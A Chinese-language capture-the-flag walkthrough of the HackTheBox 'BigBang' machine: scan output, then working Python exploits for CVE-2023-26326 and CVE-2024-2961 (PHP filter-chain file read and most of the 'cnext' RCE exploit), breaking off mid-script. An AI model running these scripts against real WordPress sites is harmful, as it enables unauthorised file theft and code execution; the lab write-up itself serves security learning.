HackTheBox BigBang Walkthrough

系统:linux
内容:CVE-2023-26326,CVE-2024-2961

在众人的帮助下,解决了这台hard难度的靶机,脚本都是网上的。
端口扫描如下,将blog.bigbang.htb和bigbang.htb加入hosts。这个结果就很明显了,就是突破80端口。

~/D/b $auto_nmap.sh $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_  256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

wpscan扫描结果如下。

~/D/b $wpscan --url http://blog.bigbang.htb -e u,ap  --api-token <your key>  --force --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Sun Jan 26 04:06:09 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:41:14 <=> (108786 / 108786) 100.00% Time: 00:41:14
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://blog.bigbang.htb/wp-content/plugins/akismet/
 | Latest Version: 5.3.5
 | Last Updated: 2024-11-19T02:02:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
 |
 | The version could not be determined.

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2024-09-25T04:52:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
 | [!] The version is out of date, the latest version is 2.8.13
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/, status: 200
 |
 | [!] 11 vulnerabilities identified:
 |
 | [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
 |     Fixed in: 2.7.8
 |     References:
 |      - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
 |
 | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
 |     Fixed in: 2.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
 |
 | [!] Title: BuddyForms < 2.8.2 - Contributor+ Stored XSS
 |     Fixed in: 2.8.2
 |     References:
 |      - https://wpscan.com/vulnerability/7ebb0593-3c90-404c-9966-f87690395be9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25981
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/3eb25546-5aa3-4e58-b563-635ecdb21097
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1158
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/198cb3bb-73fe-45ae-b8e0-b7ee8dda9547
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Deletion
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/b6e2f281-073e-497f-898b-23d6220b20c7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1170
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/380c646c-fd95-408a-89eb-3e646768bbc5
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Upload
 |     Fixed in: 2.8.8
 |     References:
 |      - https://wpscan.com/vulnerability/71e4f4c1-20ba-42ac-8ac7-e798c4bc611d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1169
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/6d14a90d-65ea-45da-956b-0735e2e2b538
 |
 | [!] Title: BuddyForms < 2.8.6 - Reflected Cross-Site Scripting via page
 |     Fixed in: 2.8.6
 |     References:
 |      - https://wpscan.com/vulnerability/72c096b3-55bd-4614-8029-69900db79416
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30198
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/701d6bee-6eb2-4497-bf54-fbc384d9d2e5
 |
 | [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
 |     Fixed in: 2.8.9
 |     References:
 |      - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
 |
 | [!] Title: BuddyForms < 2.8.10 - Email Verification Bypass due to Insufficient Randomness
 |     Fixed in: 2.8.10
 |     References:
 |      - https://wpscan.com/vulnerability/aa238cd4-4329-4891-b4ff-8268a5e18ae2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5149
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a5c8d361-698b-4abd-bcdd-0361d3fd10c5
 |
 | [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.12 - Authenticated (Contributor+) Privilege Escalation
 |     Fixed in: 2.8.12
 |     References:
 |      - https://wpscan.com/vulnerability/ca0fa099-ad8a-451f-8bb3-2c68def0ac6f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8246
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/40760f60-b81a-447b-a2c8-83c7666ce410
 |
 | [!] Title: BuddyForms < 2.8.13 - Authenticated (Editor+) Stored Cross-Site Scripting
 |     Fixed in: 2.8.13
 |     References:
 |      - https://wpscan.com/vulnerability/61885f61-bd62-4530-abe3-56f89bcdd8e4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47377
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac8a06f5-4560-401c-b762-5422b624ba84
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <=========> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] root
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] shawking
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 4
 | Requests Remaining: 21

[+] Finished: Sun Jan 26 04:48:03 2025
[+] Requests Done: 108832
[+] Cached Requests: 7
[+] Data Sent: 29.947 MB
[+] Data Received: 15.377 MB
[+] Memory used: 461.652 MB
[+] Elapsed time: 00:41:54

从扫描结果可以看出,BuddyForms插件存在CVE-2023-26326漏洞,这个靶机是利用CVE-2023-26326结合CVE-2024-2961。
先来看靶机的LFI漏洞,lfi.py脚本如下。

~/D/b $cat lfi.py
# This script demonstrates a proof-of-concept (PoC) for exploiting a file read vulnerability in the iconv library, as detailed in Ambionics Security's blog https://www.ambionics.io/blog/iconv-cve-2024-2961-p1.
# Made by kyotozx https://github.com/kyotozx

import requests

# Configuration
TARGET_URL = "http://blog.bigbang.htb/wp-admin/admin-ajax.php" # EDIT
UPLOAD_ACTION = "upload_image_from_url"
ACCEPTED_FILES = "image/gif"
UPLOAD_BASE_URL = "http://blog.bigbang.htb/wp-content/uploads/2025/01/" #EDIT

# Headers
HEADERS = {
    "Host": "blog.bigbang.htb", #EDIT
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Cookie": "wordpress_test_cookie=WP%20Cookie%20check",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
    "Content-Type": "application/x-www-form-urlencoded",
}

# Function to create the PHP filter payload
def create_payload(file_path):
    payload = (
        "php://filter/convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.CP869.UTF-32|"
        "convert.iconv.MACUK.UCS4|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.UTF8.UTF16LE|"
        "convert.iconv.UTF8.CSISO2022KR|"
        "convert.iconv.UTF16.EUCTW|"
        "convert.iconv.8859_3.UCS2|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.L6.UNICODE|"
        "convert.iconv.CP1282.ISO-IR-90|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.PT.UTF32|"
        "convert.iconv.KOI8-U.IBM-932|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.CSGB2312.UTF-32|"
        "convert.iconv.IBM-1161.IBM932|"
        "convert.iconv.GB13000.UTF16BE|"
        "convert.iconv.864.UTF-32LE|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.CP-AR.UTF16|"
        "convert.iconv.8859_4.BIG5HKSCS|"
        "convert.iconv.MSCP1361.UTF-32LE|"
        "convert.iconv.IBM932.UCS-2BE|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.INIS.UTF16|"
        "convert.iconv.CSIBM1133.IBM943|"
        "convert.iconv.IBM932.SHIFT_JISX0213|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.CSA_T500.UTF-32|"
        "convert.iconv.CP857.ISO-2022-JP-3|"
        "convert.iconv.ISO2022JP2.CP775|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.L6.UNICODE|"
        "convert.iconv.CP1282.ISO-IR-90|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.CP-AR.UTF16|"
        "convert.iconv.8859_4.BIG5HKSCS|"
        "convert.iconv.MSCP1361.UTF-32LE|"
        "convert.iconv.IBM932.UCS-2BE|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.UTF8.UTF16LE|"
        "convert.iconv.UTF8.CSISO2022KR|"
        "convert.iconv.UCS2.UTF8|"
        "convert.iconv.8859_3.UCS2|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.iconv.PT.UTF32|"
        "convert.iconv.KOI8-U.IBM-932|"
        "convert.iconv.SJIS.EUCJP-WIN|"
        "convert.iconv.L10.UCS4|"
        "convert.base64-decode|"
        "convert.base64-encode|"
        "convert.iconv.855.UTF7|"
        "convert.base64-decode/resource=" + file_path
    )
    return payload

# Function to upload the file
def upload_file(file_path, attachment_id):
    payload = {
        "action": UPLOAD_ACTION,
        "url": create_payload(file_path),
        "id": attachment_id,
        "accepted_files": ACCEPTED_FILES,
    }
    response = requests.post(TARGET_URL, headers=HEADERS, data=payload)
    if response.status_code == 200:
        return response.json()["response"]
    else:
        print(f"Upload error: {response.status_code}")
        return None

# Function to download and display the file content
def download_and_read_file(file_url):
    response = requests.get(file_url)
    if response.status_code == 200:
        # Remove the GIF89a header and display the content
        content = response.text.replace("GIF89a\n", "")
        print(content)
    else:
        print(f"Error downloading file: {response.status_code}")

# Main function
def main():
    print("Remote File Read - CVE-2024-2961")
    file_path = input("Enter the path of the file you want to read (e.g., /etc/passwd): ")
    attachment_id = input("Enter a numeric ID for the upload (e.g., 1): ")

    # Upload the file
    file_url = upload_file(file_path, attachment_id)
    if file_url:
        print(f"File uploaded successfully: {file_url}")
        # Download and display the file content
        download_and_read_file(file_url)
    else:
        print("File upload failed.")

if __name__ == "__main__":
    main() 

运行脚本,验证确实可以实现LFI。

~/D/b $python3 lfi.py
Remote File Read - CVE-2024-2961
Enter the path of the file you want to read (e.g., /etc/passwd): /etc/passwd
Enter a numeric ID for the upload (e.g., 1): 2
File uploaded successfully: http://blog.bigbang.htb/wp-content/uploads/2025/01/2-1.png
GIF89a\nMroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nol

下面要取得靶机的libc.so.6文件。

~/D/b $python3 lfi.py
Remote File Read - CVE-2024-2961
Enter the path of the file you want to read (e.g., /etc/passwd): /usr/lib/x86_64-linux-gnu/libc.so.6
Enter a numeric ID for the upload (e.g., 1): 4
File uploaded successfully: http://blog.bigbang.htb/wp-content/uploads/2025/01/4.png
GIF89a\nMELF>t@XD@8@@?@@�

4.png就是获取的libc.so.6文件。但是这个文件的文件头和表头是损坏的,需要修复一下。
修复脚本如下。

~/D/b $cat fix.py
import os
import shutil

def extract_libc(png_path, output_path, start_offset, total_size):
    """
    Extract libc.so.6 data from a PNG file.
    """
    with open(png_path, 'rb') as png_file:
        # Read the exact number of bytes for libc.so.6
        png_file.seek(start_offset)
        extracted_data = png_file.read(total_size)

    with open(output_path, 'wb') as output_file:
        output_file.write(extracted_data)

    print(f"Extracted libc.so.6 data to {output_path}")
    print(f"Extracted size: {len(extracted_data)} bytes")

def append_valid_section_headers(libc_path, reference_libc_path):
    """
    Append valid section headers from a reference libc.so.6 to the extracted file.
    """
    with open(reference_libc_path, 'rb') as ref_file:
        ref_file.seek(section_headers_offset)
        section_headers_data = ref_file.read(total_section_headers_size)

    with open(libc_path, 'ab') as libc_file:
        libc_file.write(section_headers_data)

    print(f"Appended section headers from reference libc.so.6.")

# Paths to files
png_file_path = '4.png'
reference_libc_path = 'libc.so.6'
output_libc_path = 'libc.so.7'

# Known offsets and sizes
elf_start_offset = 9  # ELF header start offset in 1-40.png
section_headers_offset = 0x1D7278  # Section headers offset in reference libc.so.6
total_section_headers_size = 60 * 64  # 60 section headers, each 64 bytes
total_size = section_headers_offset + total_section_headers_size - elf_start_offset  # Full size of libc.so.6

# Step 1: Extract the main ELF data from 1-40.png
extract_libc(
    png_path=png_file_path,
    output_path=output_libc_path,
    start_offset=elf_start_offset,
    total_size=total_size
)

# Step 2: Append section headers from the reference libc.so.6
append_valid_section_headers(
    libc_path=output_libc_path,
    reference_libc_path=reference_libc_path
)

print(f"Fixed libc.so.6 saved to: {output_libc_path}")

先将本机的libc.so.6拷贝到当前目录下,作为修复文件的参考,然后运行脚本,会将4.png修复为libc.so.7。删除本机的libc.so.6,将libc.so.7改回libc.so.6。

~/D/b $python3 fix.py
Extracted libc.so.6 data to libc.so.7
Extracted size: 1922127 bytes
Appended section headers from reference libc.so.6.
Fixed libc.so.6 saved to: libc.so.7

下面就要利用cnext-exploit.py这个脚本,实现从LFI到命令运行,脚本内容如下。

~/D/b $cat cnext-exploit.py
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64
import urllib.parse
import zlib
import urllib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

class Remote:
    """A helper class to send the payload and download files.

    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.

    The code here serves as an example that attacks a page that looks like:

    ```php
    <?php

    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    ```

    Tweak it to fit your target, and start the exploit.
    """

    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """

        data = {'action' : 'upload_image_from_url',
                'url' : urllib.parse.quote_plus('php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource='+path),
                'id' : '1',
                'accepted_files' : 'image/gif'}
        return self.session.post(self.url, data=data)

    def send_exploit(self, payload: bytes) -> Response:
        """Sends the payload to the server.
        """
        data = {'action' : 'upload_image_from_url',
                'url' : urllib.parse.quote_plus(payload),
                'id' : '1',
                'accepted_files' : 'image/gif'}
        return self.session.post(self.url, data=data)

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        file_path = self.send(path).json()['response']

        if 'File type' in file_path:
            print(file_path)
            return b''

        response = self.session.get(file_path)
        data = response.content[6:]
        return data

    def data_decode(self, data:bytes)->bytes:
        data = data.decode('latin-1')
        return base64.decode(data + (4 - len(data) % 4) * '=')

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """

        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)

            return len(set(result).intersection(set(text.encode()))) > 0

        text = tf.random.string(50).encode()
        base64 = b64(b'GIF89a' + text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"

        result = safe_download(path)

        if len(set(result).intersection(set(text))) == 0:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = 'GIF89a' + tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = 'GIF89a' + tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.remote.data_decode(self.get_file("/proc/self/maps"))

        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "./libc.so.6"

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)
        print(f'HEAP address: {hex(self.info["heap"])}')

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        #self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        print(f'LIBC address: {hex(libc.start)}')
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.remote.data_decode(self.get_file(remote_path))
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using last one)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        #self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the
        other. Processing generally involves making some kind of operation either
        on the chunk or in a destination chunk of the same size. Each operation is
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
